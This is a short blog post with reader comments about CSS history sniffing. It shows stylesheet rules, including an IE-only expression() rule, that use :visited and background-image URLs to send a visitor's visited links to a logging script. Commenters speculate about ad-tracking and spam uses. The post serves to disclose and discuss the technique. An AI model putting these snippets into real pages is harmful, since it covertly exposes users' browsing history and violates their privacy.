There's been some talk (see Anne, CollyLogic) about it being possible to use the :visited
pseudo-class and background-image urls to detect if a user has visited a particular link.
Luckily for Internet Explorer users, they are unaffected because IE doesn't support the [href=]
selector. Unfortunately, there's another method that does work in IE and is even more dangerous...
The original (non-IE compatible) idea is to include a bunch of rules like these in the stylesheet:
a[href="http://slashdot.org/"]:visited { background-image: url(tracker.php?url=slashdot.org); } a[href="http://metafilter.com/"]:visited { background-image: url(tracker.php?url=metafilter.com); }(tracker.php being some server-side script that logs the url and ip-address, enabling the site owner to see which of his visitors have visited slashdot.org or metafilter.com.) The code below however, not only works in Internet Explorer but because it uses the special IE-only
expression()
property to dynamically append the href to the fake image url, it can be used to track all visited links, foregoing the need to specify a separate rule for each link:a:visited { background-image: expression('url(tracker.php?url='+this.href+')'); }
<a href="tracker.php?url=slashdot.org">
Indeed, if the tracker.php script goes recursively through the pages visited by the user it can reveal some really valuable infos ( imagine the extra incomes an ad system could ask if it implements that sort of sniffer ) and eventually set a breach for the sites using an authentication via the parameters sent in GET ( which is whatever, a security no-no ).
The violation of privacy could reach an higher scale if the spamming companies used that exploit ( if don't already do ) in their mails.
Apart from that, I don't get why everyone's upset all of a sudden when this has been known (and applied) for years.
http://www.doxdesk.com/personal/posts/bugtraq/20020214-css.html
There is no obvious good solution.